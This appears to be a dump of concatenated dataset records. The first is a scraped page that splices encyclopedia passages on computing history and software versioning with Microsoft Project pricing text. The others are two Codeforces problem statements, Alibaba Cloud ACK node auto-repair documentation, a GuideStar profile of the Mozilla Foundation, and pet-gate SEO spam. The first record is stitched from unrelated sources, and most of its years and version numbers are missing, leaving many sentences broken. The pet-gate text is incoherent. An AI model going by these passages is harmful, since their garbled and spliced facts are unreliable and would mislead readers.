in , the most recent version as of [update] is Urbit uses Kelvin versioning named after the absolute Kelvin temperature scale : software versions start at a high number and count down to version 0, at which point the software is considered finished and no further modifications are made.\nSoftware may have an “internal” version number which differs from the version number shown in the product name and which typically follows version numbering rules more consistently. Java SE 5. Note, however, that Windows NT is only on its fifth major revision, as its first release was numbered 3.\nDifference between microsoft project 2013 standard and professional free\nIn a medieval European counting house , a checkered cloth would be placed on a table, and markers moved around on it according to certain rules, as an aid to calculating sums of money. The Antikythera mechanism is believed to be the earliest known mechanical analog computer , according to Derek J. It was discovered in in the Antikythera wreck off the Greek island of Antikythera , between Kythera and Crete , and has been dated to approximately c. Devices of comparable complexity to the Antikythera mechanism would not reappear until the fourteenth century.\nMany mechanical aids to calculation and measurement were constructed for astronomical and navigation use. A combination of the planisphere and dioptra , the astrolabe was effectively an analog computer capable of working out several different kinds of problems in spherical astronomy. An astrolabe incorporating a mechanical calendar computer and gear -wheels was invented by Abi Bakr of Isfahan , Persia in The sector , a calculating instrument used for solving problems in proportion, trigonometry, multiplication and division, and for various functions, such as squares and cube roots, was developed in the late 16th century and found application in gunnery, surveying and navigation.\nThe planimeter was a manual instrument to calculate the area of a closed figure by tracing over it with a mechanical linkage. The slide rule was invented around — by the English clergyman William Oughtred , shortly after the publication of the concept of the logarithm. It is a hand-operated analog computer for doing multiplication and division. As slide rule development progressed, added scales provided reciprocals, squares and square roots, cubes and cube roots, as well as transcendental functions such as logarithms and exponentials, circular and hyperbolic trigonometry and other functions.\nSlide rules with special scales are still used for quick performance of routine calculations, such as the E6B circular slide rule used for time and distance calculations on light aircraft. In the s, Pierre Jaquet-Droz , a Swiss watchmaker , built a mechanical doll automaton that could write holding a quill pen. By switching the number and order of its internal wheels different letters, and hence different messages, could be produced. In effect, it could be mechanically “programmed” to read instructions.\nIn —, mathematician and engineer Giovanni Plana devised a Perpetual Calendar machine , which, through a system of pulleys and cylinders and over, could predict the perpetual calendar for every year from AD 0 that is, 1 BC to AD , keeping track of leap years and varying day length.\nThe tide-predicting machine invented by the Scottish scientist Sir William Thomson in was of great utility to navigation in shallow waters. It used a system of pulleys and wires to automatically calculate predicted tide levels for a set period at a particular location.\nThe differential analyser , a mechanical analog computer designed to solve differential equations by integration , used wheel-and-disc mechanisms to perform the integration.\nIn , Sir William Thomson had already discussed the possible construction of such calculators, but he had been stymied by the limited output torque of the ball-and-disk integrators. The torque amplifier was the advance that allowed these machines to work. Starting in the s, Vannevar Bush and others developed mechanical differential analyzers. Charles Babbage , an English mechanical engineer and polymath , originated the concept of a programmable computer. Considered the ” father of the computer “, he conceptualized and invented the first mechanical computer in the early 19th century.\nAfter working on his revolutionary difference engine , designed to aid in navigational calculations, in he realized that a much more general design, an Analytical Engine , was possible. The input of programs and data was to be provided to the machine via punched cards , a method being used at the time to direct mechanical looms such as the Jacquard loom. For output, the machine would have a printer, a curve plotter and a bell. The machine would also be able to punch numbers onto cards to be read in later.\nThe Engine incorporated an arithmetic logic unit , control flow in the form of conditional branching and loops , and integrated memory , making it the first design for a general-purpose computer that could be described in modern terms as Turing-complete.\nThe machine was about a century ahead of its time. All the parts for his machine had to be made by hand — this was a major problem for a device with thousands of parts. Eventually, the project was dissolved with the decision of the British Government to cease funding. Babbage’s failure to complete the analytical engine can be chiefly attributed to political and financial difficulties as well as his desire to develop an increasingly sophisticated computer and to move ahead faster than anyone else could follow.\nNevertheless, his son, Henry Babbage , completed a simplified version of the analytical engine’s computing unit the mill in He gave a successful demonstration of its use in computing tables in During the first half of the 20th century, many scientific computing needs were met by increasingly sophisticated analog computers , which used a direct mechanical or electrical model of the problem as a basis for computation.\nHowever, these were not programmable and generally lacked the versatility and accuracy of modern digital computers. The differential analyser , a mechanical analog computer designed to solve differential equations by integration using wheel-and-disc mechanisms, was conceptualized in by James Thomson , the elder brother of the more famous Sir William Thomson. The art of mechanical analog computing reached its zenith with the differential analyzer , built by H.\nThis built on the mechanical integrators of James Thomson and the torque amplifiers invented by H. A dozen of these devices were built before their obsolescence became obvious. By the s, the success of digital electronic computers had spelled the end for most analog computing machines, but analog computers remained in use during the s in some specialized applications such as education slide rule and aircraft control systems.\nBy , the United States Navy had developed an electromechanical analog computer small enough to use aboard a submarine. This was the Torpedo Data Computer , which used trigonometry to solve the problem of firing a torpedo at a moving target. During World War II similar devices were developed in other countries as well. Early digital computers were electromechanical ; electric switches drove mechanical relays to perform the calculation. These devices had a low operating speed and were eventually superseded by much faster all-electric computers, originally using vacuum tubes.\nThe Z2 , created by German engineer Konrad Zuse in , was one of the earliest examples of an electromechanical relay computer. In , Zuse followed his earlier machine up with the Z3 , the world’s first working electromechanical programmable , fully automatic digital computer.\nIt was quite similar to modern machines in some respects, pioneering numerous advances such as floating-point numbers. Rather than the harder-to-implement decimal system used in Charles Babbage ‘s earlier design , using a binary system meant that Zuse’s machines were easier to build and potentially more reliable, given the technologies available at that time.\nZuse’s next computer, the Z4 , became the world’s first commercial computer; after initial delay due to the Second World War, it was completed in and delivered to the ETH Zurich. Purely electronic circuit elements soon replaced their mechanical and electromechanical equivalents, at the same time that digital calculation replaced analog.\nThe engineer Tommy Flowers , working at the Post Office Research Station in London in the s, began to explore the possible use of electronics for the telephone exchange.\nExperimental equipment that he built in went into operation five years later, converting a portion of the telephone exchange network into an electronic data processing system, using thousands of vacuum tubes.\nThe German encryption machine, Enigma , was first attacked with the help of the electro-mechanical bombes which were often run by women. Colossus was the world’s first electronic digital programmable computer. It had paper-tape input and was capable of being configured to perform a variety of boolean logical operations on its data, but it was not Turing-complete.\nColossus Mark I contained 1, thermionic valves tubes , but Mark II with 2, valves, was both five times faster and simpler to operate than Mark I, greatly speeding the decoding process. Like the Colossus, a “program” on the ENIAC was defined by the states of its patch cables and switches, a far cry from the stored program electronic machines that came later. Once a program was written, it had to be mechanically set into the machine with manual resetting of plugs and switches.\nIt combined the high speed of electronics with the ability to be programmed for many complex problems. It could add or subtract times a second, a thousand times faster than any other machine. It also had modules to multiply, divide, and square root.\nHigh speed memory was limited to 20 words about 80 bytes. Built under the direction of John Mauchly and J. The machine was huge, weighing 30 tons, using kilowatts of electric power and contained over 18, vacuum tubes, 1, relays, and hundreds of thousands of resistors, capacitors, and inductors.\nThe principle of the modern computer was proposed by Alan Turing in his seminal paper, On Computable Numbers. Turing proposed a simple device that he called “Universal Computing machine” and that is now known as a universal Turing machine.\nHe proved that such a machine is capable of computing anything that is computable by executing instructions program stored on tape, allowing the machine to be programmable.\nThe fundamental concept of Turing’s design is the stored program , where all the instructions for computing are stored in memory. Von Neumann acknowledged that the central concept of the modern computer was due to this paper. Except for the limitations imposed by their finite memory stores, modern computers are said to be Turing-complete , which is to say, they have algorithm execution capability equivalent to a universal Turing machine.\nEarly computing machines had fixed programs. Changing its function required the re-wiring and re-structuring of the machine. A stored-program computer includes by design an instruction set and can store in memory a set of instructions a program that details the computation. The theoretical basis for the stored-program computer was laid by Alan Turing in his paper. In , Turing joined the National Physical Laboratory and began work on developing an electronic stored-program digital computer.\nHis report “Proposed Electronic Calculator” was the first specification for such a device. The Manchester Baby was the world’s first stored-program computer. Grace Hopper was the first person to develop a compiler for programming language.\nThe Mark 1 in turn quickly became the prototype for the Ferranti Mark 1 , the world’s first commercially available general-purpose computer. At least seven of these later machines were delivered between and , one of them to Shell labs in Amsterdam.\nThe LEO I computer became operational in April and ran the world’s first regular routine office computer job. The concept of a field-effect transistor was proposed by Julius Edgar Lilienfeld in John Bardeen and Walter Brattain , while working under William Shockley at Bell Labs , built the first working transistor , the point-contact transistor , in , which was followed by Shockley’s bipolar junction transistor in Compared to vacuum tubes, transistors have many advantages: they are smaller, and require less power than vacuum tubes, so give off less heat.\nJunction transistors were much more reliable than vacuum tubes and had longer, indefinite, service life. Transistorized computers could contain tens of thousands of binary logic circuits in a relatively compact space. However, early junction transistors were relatively bulky devices that were difficult to manufacture on a mass-production basis, which limited them to a number of specialised applications.\nAt the University of Manchester , a team under the leadership of Tom Kilburn designed and built a machine using the newly developed transistors instead of valves. However, the machine did make use of valves to generate its kHz clock waveforms and in the circuitry to read and write on its magnetic drum memory , so it was not the first completely transistorized computer. Atalla and Dawon Kahng at Bell Labs in The next great advance in computing power came with the advent of the integrated circuit IC.\nThe idea of the integrated circuit was first conceived by a radar scientist working for the Royal Radar Establishment of the Ministry of Defence , Geoffrey W. Dummer presented the first public description of an integrated circuit at the Symposium on Progress in Quality Electronic Components in Washington, D.\nNoyce also came up with his own idea of an integrated circuit half a year later than Kilby. Produced at Fairchild Semiconductor, it was made of silicon , whereas Kilby’s chip was made of germanium. Noyce’s monolithic IC was fabricated using the planar process , developed by his colleague Jean Hoerni in early In turn, the planar process was based on Mohamed M.\nAtalla’s work on semiconductor surface passivation by silicon dioxide in the late s. The development of the MOS integrated circuit led to the invention of the microprocessor , and heralded an explosion in the commercial and personal use of computers. While the subject of exactly which device was the first microprocessor is contentious, partly due to lack of agreement on the exact definition of the term “microprocessor”, it is largely undisputed that the first single-chip microprocessor was the Intel , designed and realized by Federico Faggin with his silicon-gate MOS IC technology, along with Ted Hoff , Masatoshi Shima and Stanley Mazor at Intel.\nSystem on a Chip SoCs are complete computers on a microchip or chip the size of a coin. If not integrated, the RAM is usually placed directly above known as Package on package or below on the opposite side of the circuit board the SoC, and the flash memory is usually placed right next to the SoC, this all done to improve data transfer speeds, as the data signals don’t have to travel long distances. Since ENIAC in , computers have advanced enormously, with modern SoCs Such as the Snapdragon being the size of a coin while also being hundreds of thousands of times more powerful than ENIAC, integrating billions of transistors, and consuming only a few watts of power.\nThe first mobile computers were heavy and ran from mains power. The 50 lb 23 kg IBM was an early example. Later portables such as the Osborne 1 and Compaq Portable were considerably lighter but still needed to be plugged in. The first laptops , such as the Grid Compass , removed this requirement by incorporating batteries — and with the continued miniaturization of computing resources and advancements in portable battery life, portable computers grew in popularity in the s.\nThese smartphones and tablets run on a variety of operating systems and recently became the dominant computing device on the market. The term hardware covers all of those parts of a computer that are tangible physical objects.\nCircuits , computer chips, graphic cards, sound cards, memory RAM , motherboard, displays, power supplies, cables, keyboards, printers and “mice” input devices are all hardware. These parts are interconnected by buses , often made of groups of wires.\nInside each of these parts are thousands to trillions of small electrical circuits which can be turned off or on by means of an electronic switch. Each circuit represents a bit binary digit of information so that when the circuit is on it represents a “1”, and when off it represents a “0” in positive logic representation. The circuits are arranged in logic gates so that one or more of the circuits may control the state of one or more of the other circuits.\nWhen unprocessed data is sent to the computer with the help of input devices, the data is processed and sent to output devices. The input devices may be hand-operated or automated. The act of processing is mainly regulated by the CPU. Some examples of input devices are:. The means through which computer gives output are known as output devices. Some examples of output devices are:. The control unit often called a control system or central controller manages the computer’s various components; it reads and interprets decodes the program instructions, transforming them into control signals that activate other parts of the computer.\nA key component common to all CPUs is the program counter , a special memory cell a register that keeps track of which location in memory the next instruction is to be read from. The control system’s function is as follows— this is a simplified description, and some of these steps may be performed concurrently or in a different order depending on the type of CPU:. Since the program counter is conceptually just another set of memory cells, it can be changed by calculations done in the ALU.\nAdding to the program counter would cause the next instruction to be read from a place locations further down the program. Instructions that modify the program counter are often known as “jumps” and allow for loops instructions that are repeated by the computer and often conditional instruction execution both examples of control flow.\nThe sequence of operations that the control unit goes through to process an instruction is in itself like a short computer program , and indeed, in some more complex CPU designs, there is another yet smaller computer called a microsequencer , which runs a microcode program that causes all of these events to happen.\nEarly CPUs were composed of many separate components. Since the s, CPUs have typically been constructed on a single MOS integrated circuit chip called a microprocessor. The ALU is capable of performing two classes of operations: arithmetic and logic. Some can operate only on whole numbers integers while others use floating point to represent real numbers , albeit with limited precision.\nHowever, any computer that is capable of performing just the simplest operations can be programmed to break down the more complex operations into simple steps that it can perform. Therefore, any computer can be programmed to perform any arithmetic operation—although it will take more time to do so if its ALU does not directly support the operation. An ALU may also compare numbers and return Boolean truth values true or false depending on whether one is equal to, greater than or less than the other “is 64 greater than 65?\nThese can be useful for creating complicated conditional statements and processing Boolean logic. Superscalar computers may contain multiple ALUs, allowing them to process several instructions simultaneously. A computer’s memory can be viewed as a list of cells into which numbers can be placed or read.\nEach cell has a numbered “address” and can store a single number. The computer can be instructed to “put the number into the cell numbered ” or to “add the number that is in cell to the number that is in cell and put the answer into cell Letters, numbers, even computer instructions can be placed into memory with equal ease. Since the CPU does not differentiate between different types of information, it is the software’s responsibility to give significance to what the memory sees as nothing but a series of numbers.\nIn almost all modern computers, each memory cell is set up to store binary numbers in groups of eight bits called a byte. To store larger numbers, several consecutive bytes may be used typically, two, four or eight. When negative numbers are required, they are usually stored in two’s complement notation. Other arrangements are possible, but are usually not seen outside of specialized applications or historical contexts.\nA computer can store any kind of information in memory if it can be represented numerically. Modern computers have billions or even trillions of bytes of memory. The CPU contains a special set of memory cells called registers that can be read and written to much more rapidly than the main memory area.\nThere are typically between two and one hundred registers depending on the type of CPU. Registers are used for the most frequently needed data items to avoid having to access main memory every time data is needed. As data is constantly being worked on, reducing the need to access main memory which is often slow compared to the ALU and control units greatly increases the computer’s speed. ROM is typically used to store the computer’s initial start-up instructions. In general, the contents of RAM are erased when the power to the computer is turned off, but ROM retains its data indefinitely.\nIn embedded computers , which frequently do not have disk drives, all of the required software may be stored in ROM. Software stored in ROM is often called firmware , because it is notionally more like hardware than software. Flash memory blurs the distinction between ROM and RAM, as it retains its data when turned off but is also rewritable. It is typically much slower than conventional ROM and RAM however, so its use is restricted to applications where high speed is unnecessary.\nIn more sophisticated computers there may be one or more RAM cache memories , which are slower than registers but faster than main memory. Generally computers with this sort of cache are designed to move frequently needed data into the cache automatically, often without the need for any intervention on the programmer’s part.\nHard disk drives , floppy disk drives and optical disc drives serve as both input and output devices. A graphics processing unit might contain fifty or more tiny computers that perform the calculations necessary to display 3D graphics.\nA era flat screen display contains its own computer circuitry. While a computer may be viewed as running one gigantic program stored in its main memory, in some systems it is necessary to give the appearance of running several programs simultaneously.\nThis is achieved by multitasking i. By remembering where it was executing prior to the interrupt, the computer can return to that task later. If several programs are running “at the same time”. Since modern computers typically execute instructions several orders of magnitude faster than human perception, it may appear that many programs are running at the same time even though only one is ever executing in any given instant.\nThis method of multitasking is sometimes termed “time-sharing” since each program is allocated a “slice” of time in turn. Before the era of inexpensive computers, the principal use for multitasking was to allow many people to share the same computer. If a program is waiting for the user to click on the mouse or press a key on the keyboard, then it will not take a “time slice” until the event it is waiting for has occurred.\nThis frees up time for other programs to execute so that many programs may be run simultaneously without unacceptable speed loss. Some computers are designed to distribute their work across several CPUs in a multiprocessing configuration, a technique once employed in only large and powerful machines such as supercomputers , mainframe computers and servers.\nMultiprocessor and multi-core multiple CPUs on a single integrated circuit personal and laptop computers are now widely available, and are being increasingly used in lower-end markets as a result.\nSupercomputers in particular often have highly unique architectures that differ significantly from the basic stored-program architecture and from general-purpose computers. Such designs tend to be useful for only specialized tasks due to the large scale of program organization required to successfully utilize most of the available resources at once. Supercomputers usually see usage in large-scale simulation , graphics rendering , and cryptography applications, as well as with other so-called ” embarrassingly parallel ” tasks.\nSoftware refers to parts of the computer which do not have a material form, such as programs, data, protocols, etc. Software is that part of a computer system that consists of encoded information or computer instructions, in contrast to the physical hardware from which the system is built.\nComputer software includes computer programs , libraries and related non-executable data , such as online documentation or digital media. It is often divided into system software and application software Computer hardware and software require each other and neither can be realistically used on its own. There are thousands of different programming languages—some intended for general purpose, others useful for only highly specialized applications.\nThe defining feature of modern computers which distinguishes them from all other machines is that they can be programmed. That is to say that some type of instructions the program can be given to the computer, and it will process them. Modern computers based on the von Neumann architecture often have machine code in the form of an imperative programming language. In practical terms, a computer program may be just a few instructions or extend to many millions of instructions, as do the programs for word processors and web browsers for example.\nA typical modern computer can execute billions of instructions per second gigaflops and rarely makes a mistake over many years of operation.\nLarge computer programs consisting of several million instructions may take teams of programmers years to write, and due to the complexity of the task almost certainly contain errors. This section applies to most common RAM machine —based computers. In most cases, computer instructions are simple: add one number to another, move some data from one location to another, send a message to some external device, etc.\nThese instructions are read from the computer’s memory and are generally carried out executed in the order they were given. However, there are usually specialized instructions to tell the computer to jump ahead or backwards to some other place in the program and to carry on executing from there. These are called “jump” instructions or branches. Furthermore, jump instructions may be made to happen conditionally so that different sequences of instructions may be used depending on the result of some previous calculation or some external event.\nMany computers directly support subroutines by providing a type of jump that “remembers” the location it jumped from and another instruction to return to the instruction following that jump instruction. Program execution might be likened to reading a book. While a person will normally read each word and line in sequence, they may at times jump back to an earlier place in the text or skip sections that are not of interest.\nSimilarly, a computer may sometimes go back and repeat the instructions in some section of the program over and over again until some internal condition is met. This is called the flow of control within the program and it is what allows the computer to perform tasks repeatedly without human intervention.\nComparatively, a person using a pocket calculator can perform a basic arithmetic operation such as adding two numbers with just a few button presses. But to add together all of the numbers from 1 to 1, would take thousands of button presses and a lot of time, with a near certainty of making a mistake.\nOn the other hand, a computer may be programmed to do this with just a few simple instructions. Programs that are in an early stage are often called “alpha” software, after the first letter in the Greek alphabet. After they mature but are not yet ready for release, they may be called “beta” software, after the second letter in the Greek alphabet.\nGenerally alpha software is tested by developers only, while beta software is distributed for community testing. Some systems use numerical versions less than 1 such as 0. This is a common convention in open source software. So the alpha version of the 2. An alternative is to refer to pre-release versions as “release candidates”, so that software packages which are soon to be released as a particular version may carry that version tag followed by “rc- “, indicating the number of the release candidate; when the final version is released, the “rc” tag is removed.\nA software release train is a form of software release schedule in which a number of distinct series of versioned software releases for multiple products are released as a number of different “trains” on a regular schedule. Generally, for each product line, a number of different release trains are running at a given time, with each train moving from initial release to eventual maturity and retirement on a planned schedule.\nUsers may experiment with a newer release train before adopting it for production, allowing them to experiment with newer, “raw”, releases early, while continuing to follow the previous train’s point releases for their production systems prior to moving to the new release train as it becomes mature. Cisco’s IOS software platform used a release train schedule with many distinct trains for many years. More recently, a number of other platforms including Firefox and Fenix for Android, Eclipse , LibreOffice , Ubuntu , Fedora, Python, digiKam and VMware have adopted the release train model.\nBetween the 1. For example, Linux 2. After the minor version number in the Linux kernel is the release number, in ascending order; for example, Linux 2. Since the release of the 2. The same odd-even system is used by some other software with long release cycles, such as Node.\nSun’s Java has at times had a hybrid system, where the internal version number has always been 1. Sun also dropped the first digit for Solaris, where Solaris 2. A similar jump took place with the Asterisk open-source PBX construction kit in the early s, whose project leads announced that the current version 1.\nThis approach, panned by many because it breaks the semantic significance of the sections of the version number, has been adopted by an increasing number of vendors including Mozilla for Firefox. Version numbers very quickly evolve from simple integers 1, 2, These complex version numbers are therefore better treated as character strings. Operating systems that include package management facilities such as all non-trivial Linux or BSD distributions will use a distribution-specific algorithm for comparing version numbers of different software packages.\nFor example, the ordering algorithms of Red Hat and derived distributions differ to those of the Debian-like distributions. As an example of surprising version number ordering implementation behavior, in Debian, leading zeroes are ignored in chunks, so that 5.\nThis can confuse users; string-matching tools may fail to find a given version number; and this can cause subtle bugs in package management if the programmers use string-indexed data structures such as version-number indexed hash tables. To ease sorting, some software packages represent each component of the major. Perl represents its version numbers as a floating-point number; for example, Perl’s 5. This allows a theoretical version of 5. Other software packages pack each segment into a fixed bit width; for example, on Microsoft Windows, version number 6.\nThe floating-point scheme breaks down if any segment of the version number exceeds ; a packed-binary scheme employing 16 bits apiece breaks down after The free-software and open source communities tend to release software early and often. Initial versions are numbers less than 1, with these 0. Backward-incompatible changes are common with 0.\nVersion 1. The developers of the arcade game emulator MAME do not ever intend to release a version 1. Accordingly, version 0. Since the internet has become widespread, most commercial software vendors no longer follow the maxim that a major version should be “complete” and instead rely on patches with bugfixes to sort out the known issues which a solution has been found for and could be fixed.\nA relatively common practice is to make major jumps in version numbers for marketing reasons. Sometimes software vendors just bypass the 1. Other times version numbers are increased to match those of competitors. Microsoft Access jumped from version 2. Microsoft has also been the target of ‘catch-up’ versioning, with the Netscape browsers skipping version 5 to 6, in line with Microsoft’s Internet Explorer , but also because the Mozilla application suite inherited version 5 in its user agent string during pre Another example of keeping up with competitors is when Slackware Linux jumped from version 4 to version 7 in In the mids, the rapidly growing CMMS , Maximo, moved from Maximo Series 3 directly to Series 5, skipping Series 4 due to that number’s perceived marketing difficulties in the Chinese market, where the number 4 is associated with “death” see tetraphobia.\nThis did not, however, stop Maximo Series 5 version 4. The “Series” versioning has since been dropped, effectively resetting version numbers after Series 5 version 1. Version numbers are used in practical terms by the consumer, or client , to identify or compare their copy of the software product against another copy, such as the newest version released by the developer.\nFor the programmer or company, versioning is often used on a revision-by-revision basis, where individual parts of the software are compared and contrasted with newer or older revisions of those same parts, often in a collaborative version control system. In the 21st century, more programmers started to use a formalized version policy, such as the semantic versioning policy.\nVersioning is also a required practice to enable many schemes of patching and upgrading software, especially to automatically decide what and where to upgrade to. Version numbers allow people providing support to ascertain exactly which code a user is running, so that they can rule out bugs that have already been fixed as a cause of an issue, and the like. This is especially important when a program has a substantial user community, especially when that community is large enough that the people providing technical support are not the people who wrote the code.\nThe semantic meaning of version. As a rule of thumb, the bigger the changes, the larger the chances that something might break although examining the Changelog, if any, may reveal only superficial or irrelevant changes.\nThis is one reason for some of the distaste expressed in the “drop the major release” approach taken by Asterisk et alia: now, staff must or at least should do a full regression test for every update. Versioning amongst documents is relatively similar to the routine used with computers and software engineering, where with each small change in the structure, contents, or conditions, the version number is incremented by 1, or a smaller or larger value, again depending on the personal preference of the author and the size or importance of changes made.\nIn some cases, the use is a direct analogy for example: Jackass 2. More often it’s used to play on an association with high technology, and doesn’t literally indicate a ‘version’ e. A particularly notable usage is Web 2. From Wikipedia, the free encyclopedia. Giving a unique identifier to each software update. This article may have too many section headers dividing up its content.\nPlease help improve the article by merging similar sections and removing unneeded subheaders. February Learn how and when to remove this template message. Semantic Versioning 2.\nCreative Commons. August 16, Libtool documentation. Retrieved April 11, September 14, Opera Software. Retrieved November 6, Movable Type Documentation Wiki. Project Online Essentials 3.\nIf you are a global or billing administrator, an annual commitment is required to purchase online. You can choose to pay monthly or annually. Within the Microsoft admin center, global and billing administrators can choose either annual or monthly commitment plans. All others may purchase a monthly subscription online. For frequently asked questions about Project including Project Online Essentials, visit the frequently asked questions page. A credit card is required to begin a one month trial.\nThe duration of the trial varies by the month you sign up. The expiration date will appear on the trial subscription details page within the Microsoft admin center. Upon the expiration of your one month trial, you will be charged the applicable subscription fee.\nCancellation can be done at any time to stop future charges. Plan 1 includes Project Online Essentials capabilities in addition to Project for the web. See the Project Online section of the Project service description.\nFor more detailed information on the subscriptions, see the Project service description. A comprehensive on-premises project management solution.\nA flexible, scalable on-premises solution for project portfolio management and everyday project and work management. Submit timesheets to capture project and nonproject time spent for payroll, invoicing, and other business purposes. Manage demand by capturing and evaluating project ideas from anywhere in the organization through a standardized process.\nUse advanced analytics to choose project proposals that best align with strategic goals and honor constraints. United States. Compare project management solutions and costs. Looking for more? Project Online Essentials 1 Try now with a partner. Project Plan 1. Buy now.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 14336, "token_count_with_eod": 14337, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A new virus called \"CodeVid-23\" has spread among programmers. Rudolf, being a programmer, was not able to avoid it.\n\nThere are $$$n$$$ symptoms numbered from $$$1$$$ to $$$n$$$ that can appear when infected. Initially, Rudolf has some of them. He went to the pharmacy and bought $$$m$$$ medicines.\n\nFor each medicine, the number of days it needs to be taken is known, and the set of symptoms it removes. Unfortunately, medicines often have side effects. Therefore, for each medicine, the set of symptoms that appear when taking it is also known.\n\nAfter reading the instructions, Rudolf realized that taking more than one medicine at a time is very unhealthy.\n\nRudolph wants to be healed as soon as possible. Therefore, he asks you to calculate the minimum number of days to remove all symptoms, or to say that it is impossible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Sasha lives in a big happy family. At the Man's Day all the men of the family gather to celebrate it following their own traditions. There are n men in Sasha's family, so let's number them with integers from 1 to n.\n\nEach man has at most one father but may have arbitrary number of sons.\n\nMan number A is considered to be the ancestor of the man number B if at least one of the following conditions is satisfied:\n\n- A = B;\n- the man number A is the father of the man number B;\n- there is a man number C, such that the man number A is his ancestor and the man number C is the father of the man number B.\n\nOf course, if the man number A is an ancestor of the man number B and A ≠ B, then the man number B is not an ancestor of the man number A.\n\nThe tradition of the Sasha's family is to give gifts at the Man's Day. Because giving gifts in a normal way is boring, each year the following happens.\n\n1. A list of candidates is prepared, containing some (possibly all) of the n men in some order.\n2. Each of the n men decides to give a gift.\n3. In order to choose a person to give a gift to, man A looks through the list and picks the first man B in the list, such that B is an ancestor of A and gives him a gift. Note that according to definition it may happen that a person gives a gift to himself.\n4. If there is no ancestor of a person in the list, he becomes sad and leaves the celebration without giving a gift to anyone.\n\nThis year you have decided to help in organizing celebration and asked each of the n men, who do they want to give presents to (this person is chosen only among ancestors). Are you able to make a list of candidates, such that all the wishes will be satisfied if they give gifts according to the process described above?", "source": "cpt_codeforces", "language": "en", "token_count": 415, "token_count_with_eod": 416, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "When exceptions occur on a node in a managed node pool, Container Service for Kubernetes (ACK) automatically repairs the node. This ensures that the nodes in an ACK cluster can run as normal. After you create a managed node pool or convert a node pool into a managed node pool, auto repair is automatically enabled for the nodes in the managed node pool. ACK monitors the status of nodes in managed node pools and runs different repair tasks to fix different node exceptions. This topic describes the use scenarios and procedure of auto repair.\nConditions to trigger auto repair\nkubectl describe nodecommand and check the value of the\nconditionfield in the output. If a node remains in an abnormal state within a period of time that exceeds the threshold, ACK automatically runs repair tasks on the node. The following table describes the trigger conditions.\n|Status||Example||Threshold (duration of a node exception that triggers auto repair)|\n|NotReady||kubelet processes not responding||180s|\n|DockerHung||dockerd not responding||90s|\nThe auto repair feature includes the following phases: diagnose node exceptions, determine whether to trigger auto repair, and run auto repair tasks.\n- Normal: The node runs without exceptions.\n- Error: Exceptions occur on the node.\n- Failed to Recover: The node fails to recover from the exceptions after the auto repair tasks are completed.\n- If a node enters an abnormal state and remains in the abnormal state for a period of time that is longer than the threshold, ACK determines that the node is in the Error state.\n- After a node is considered in the Error state, ACK runs specific auto repair tasks\nto fix the exceptions and generates events.\n- If the node exceptions are fixed after the repair tasks are completed, the node changes to the Normal state.\n- If the node exceptions persist after the repair tasks are completed, the node changes to the Failed to Recover state.\n- If exceptions occur on multiple nodes in a node pool, ACK runs auto repair tasks on the nodes in sequence. If ACK fails to repair one of the nodes, ACK stops running auto repair tasks on the remaining nodes.\n- If node exceptions occur in multiple node pools in a cluster, ACK runs auto repair tasks on the node pools in parallel.\n- If ACK fails to repair a node, ACK disables auto repair for the node until the node recovers from exceptions.\nAuto repair events\n|Cause||Event level||Event description|\n|NodeRepairStart||Normal||The system starts to repair the node.|\n|NodeRepairAction||Normal||The repair operation on the node, for example, restart kubelet.|\n|NodeRepairSucceed||Normal||The node recovers from exceptions after the repair operation is completed.|\n|NodeRepairFailed||Warning||The node fails to recover from exceptions after the repair operation is completed.\nFor more information, see FAQ.\n|NodeRepairIgnore||Normal||The repair operation is ignored on the node. If an Elastic Compute Service (ECS) node is not in the Running state, the system does not perform auto repair operations on the node.|\nWhat do I do if ACK fails to repair a node?\nThe auto repair feature may fail to fix complicated node exceptions in some scenarios. If an auto repair task fails on a node or the node exception persists after an auto repair task is completed, the node enters the Failed to Recover state.\nIf ACK fails to repair a node in a node pool, it disables auto repair for all nodes in the node pool until the node recovers from exceptions. In this case, Submit a ticket to apply to manually fix node exceptions.\nHow do I disable auto repair for a node?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Basic Organization Information\n- Physical Address:\nMountain View, CA\n- Web URL:\n- NTEE Category:\nU Science and Technology Research Institutes\nU41 Computer Science\n- Ruling Year:\nThe mission of the Mozilla Foundation is to improve and protect the Internet as a public commons, by working with thousands of volunteers to (1) keep the Internet a universal platform and (2) promote continued innovation on the Internet.\nScience & Technology\n- Population Served:\nThe Mozilla Foundation oversees the Mozilla project, a worldwide open\nsource development project comprising thousands of contributors, almost\nall of them volunteers. The Mozilla Foundation, through its\nwholly-owned subsidiary the Mozilla Corporation, creates and\ndistributes the award-winning free and open source web browser Firefox,\nused by tens of millions of people worldwide.\nThe Mozilla community produces a lot of great software and acts as an incubator for innovative ideas as a way to advance our mission of building a better Internet.\nProgram Long-Term Success:\nProgram Short-Term Success:\nProgram Success Monitored by:\nProgram Success Examples:\nContractor data is available for this organization!\nIndependent Contractor information for 2011, 2009, 2008, 2007 is available for this organization with a subscription to GuideStar Premium Pro.\nGuideStar Premium Pro also includes:\n- Comprehensive financial data, including functional expense detail, for every digitized fiscal year in GuideStar's database\n- Ability to download up to 55 fields of data for up to 1,000 organizations at a time and up to five years worth of Income Statement\nand Balance Sheet data for individual organizations\n- Comprehensive advanced search capabilities, including criteria for functional expenses, investible assets, investment income\nand audit & 990T filing requirements\n- Ability to save organizations and searches for quick reference\n- People search with salary range data\n- Access to all available Forms 990\nImpact Summary from the Nonprofit\nThis organization has not provided an impact summary.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 429, "token_count_with_eod": 430, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Pet Gates For Cats. Here are a number of highest rated Pet Gates For Cats pictures upon internet. We identified it from trustworthy source. Its submitted by dispensation in the best field. We assume this kind of Pet Gates For Cats graphic could possibly be the most trending topic with we share it in google lead or facebook.\nWe try to introduced in this posting in the past this may be one of fabulous mention for any Pet Gates For Cats options. Dont you arrive here to know some supplementary unique pot de fleurs pas cher idea? We essentially wish you can easily take it as one of your insinuation and many thanks for your get older for surfing our webpage. engross portion this image for your beloved friends, families, work via your social media such as facebook, google plus, twitter, pinterest, or any supplementary bookmarking sites.\nPet Gate With Cat Door Petsmart, Diy Extra Large Pet Gate For Cats Kitty Loaf, Domestic Cats Kill Billions Of Mice And Birds 